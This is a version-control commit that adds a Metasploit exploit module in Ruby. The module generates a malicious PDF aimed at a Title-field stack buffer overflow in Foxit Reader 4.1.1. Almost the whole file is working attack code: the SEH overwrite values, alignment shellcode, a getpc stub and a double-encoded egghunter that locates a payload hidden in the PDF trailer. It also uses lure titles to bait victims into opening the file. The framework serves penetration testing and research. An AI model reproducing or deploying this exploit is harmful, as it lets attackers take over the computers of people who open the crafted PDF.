add exploit for foxit reader title stack bof
git-svn-id: file:///home/svn/framework3/trunk@11096 4d416f70-5f16-0410-b530-b9f4589650daunstable
Joshua Drake
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53f6416dad
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75873aedb4
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::PDF
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include Msf::Exploit::Egghunter
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#include Msf::Exploit::Seh # unused due to special circumstances
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Foxit PDF Reader prior to version
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4.2.0.0928. The vulnerability is triggered when opening a malformed PDF file that
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contains an overly long string in the Title field. This results in overwriting a
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structured exception handler record.
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NOTE: This exploit does not use javascript.
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},
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'License' => MSF_LICENSE,
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'Version' => "$Revision$",
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'Author' =>
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[
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'dookie', # Discovered the bug
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'Sud0', # Original exploit (from Offsec Exploit Weekend)
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'corelanc0d3r', # Metasploit exploit
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'jduck' # Metasploit-fu
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],
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'References' =>
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[
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#[ 'CVE', '' ],
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[ 'OSVDB', '68648' ],
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[ 'URL', 'http://www.exploit-db.com/exploits/15532' ],
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[ 'URL', 'http://www.corelan.be:8800/index.php/2010/11/13/offensive-security-exploit-weekend/' ]
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],
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'Payload' =>
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{
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'BadChars' => "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e",
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'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
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'EncoderOptions' =>
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{
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'BufferRegister' => 'EDI', # egghunter jmp edi
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}
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Foxit Reader v4.1.1 XP Universal', { 'Offset' => 540, 'Ret' => "\x4B\x6A" } ] #unicode p/p/r foxit reader.exe
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],
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'DisclosureDate' => 'Nov 13 2010',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ false, 'The output filename.', 'corelan_foxit.pdf']),
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OptString.new('OUTPUTPATH', [ false, 'The location to output the file.', './data/exploits/'])
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], self.class)
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end
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def exploit
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@label = rand_text_alpha(7)
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nseh = "\x5A\x41" # pop edx -- to make edx writable
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seh = target['Ret']
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# inc ecx / pop esp / popad / push esp / ret
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align = "\x41\x61\x5C\x5C\x41\x61\x41\x54\x41\xC3"
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ecx_control = "\xB3\x30\xB3" # becomes ecx
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hunter, @egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
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# Encode with alphamixed, then unicode mixed
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[ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
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enc = framework.encoders.create(name)
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if name =~ /unicode/
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enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })
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else
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enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })
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end
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# NOTE: we already eliminated badchars
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hunter = enc.encode(hunter, nil, nil, platform)
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if name =~/alpha/
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#insert getpc_stub & align EDX, unicode encoder friendly.
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#Hardcoded stub is not an issue here because it gets encoded anyway
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getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
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hunter = getpc_stub + hunter
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end
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}
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#tweak hunter, patched to make it write to ECX
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hunter[1] = "a"
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doctitles = [
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"Confidential : Contract + Terms of Use",
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"Contract information",
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"Acquisition contract",
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"...loading, please wait...",
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"Trademark, patent and copyright information",
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"Limited Liability Partnership",
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"Partnership agreement",
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"Last will and testament",
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"How to hack gmail",
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"Running Metasploit on Windows Mobile",
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"Free torrent sites",
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"Lady Gaga naked",
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"Free Shopping vouchers"
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]
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sploit = ''
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sploit << doctitles[rand(doctitles.length)]
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sploit << " " * (target['Offset'] - sploit.length)
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sploit << nseh << seh
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sploit << align
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sploit << ecx_control
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sploit << hunter
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file_create(make_pdf(sploit))
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end
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# Override the mixin obfuscator since it doesn't seem to work here.
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def nObfu(str)
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return str
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end
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def trailer(root_obj)
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ret = 'trailer'
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ret << nObfu("<</Size %d/Root " % (@xref.length + 1)) << ioRef(root_obj)
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ret << nObfu("/Info ") << ioRef(5)
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ret << nObfu("/#{@label} #{@egg}")
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ret << nObfu(">>")
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ret << eol
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ret
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end
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def make_pdf(sploit)
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@pdf << header('1.4')
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add_object(1, nObfu("<</ViewerPreferences<</DisplayDocTitle true>>/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/Type/Catalog/Lang(en-US)>>"))
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add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
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add_object(3, nObfu("<</Count 1/Type/Pages/Kids[") << ioRef(4) << nObfu("]>>"))
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add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>"))
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add_object(5, nObfu("<</Title (") + sploit + nObfu(")>>"))
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finish_pdf
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end
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end
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